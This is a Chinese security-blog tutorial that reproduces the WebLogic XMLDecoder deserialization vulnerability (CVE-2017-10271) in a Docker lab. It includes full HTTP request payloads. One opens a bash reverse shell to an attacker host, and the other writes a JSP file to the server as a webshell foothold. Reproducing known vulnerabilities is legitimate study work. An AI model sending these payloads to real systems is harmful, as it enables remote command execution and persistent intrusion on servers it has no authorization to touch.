Weblogic XMLDecoder (CVE-2017-10271)反序列化漏洞复现 – 作者:cloudcoll

一、使用docker搭建环境

docker安装及搭建环境教程:https://www.freebuf.com/sectool/252257.html

1605064741_5fab5825660a92655ff36.png!small?1605064742469

访问7001端口1604918931_5fa91e9347b95dd3c1a90.png!small?1604918931520

二、漏洞复现步骤

1、漏洞检测

访问页面/wls-wsat/CoordinatorPortType  出现下图情况的可能存在反序列化漏洞

1605026736_5faac3b00da3b7d774f8d.png!small?1605026736202

2、抓包

1605026872_5faac438364ba6eb7a019.png!small?1605026872351

3、反弹shell

加载反弹shell的payload(注意改ip和端口)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.220.151:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.220.141/1234 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

1605027627_5faac72b5fc9a6bc41164.png!small?1605027627704

4、在攻击机监听对应的端口

1605027131_5faac53b6824bad6d8be9.png!small?1605027131473

5、发包,成功反弹shell

1605027160_5faac558647e9ae69bbe0.png!small?1605027160542

1605027188_5faac574b4bbc41635309.png!small?1605027188819

6、写一句话

写一句话的payload(注意改ip和端口)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.15:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

7、加载payload,发包

1605027409_5faac6517247c2a75dac3.png!small?1605027409824

8、访问路径/bea_wls_internal/test.jsp        成功写入一句话

1605027362_5faac62212d8500820d15.png!small?1605027362096

来源:freebuf.com 2020-11-11 01:02:53 by: cloudcoll

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论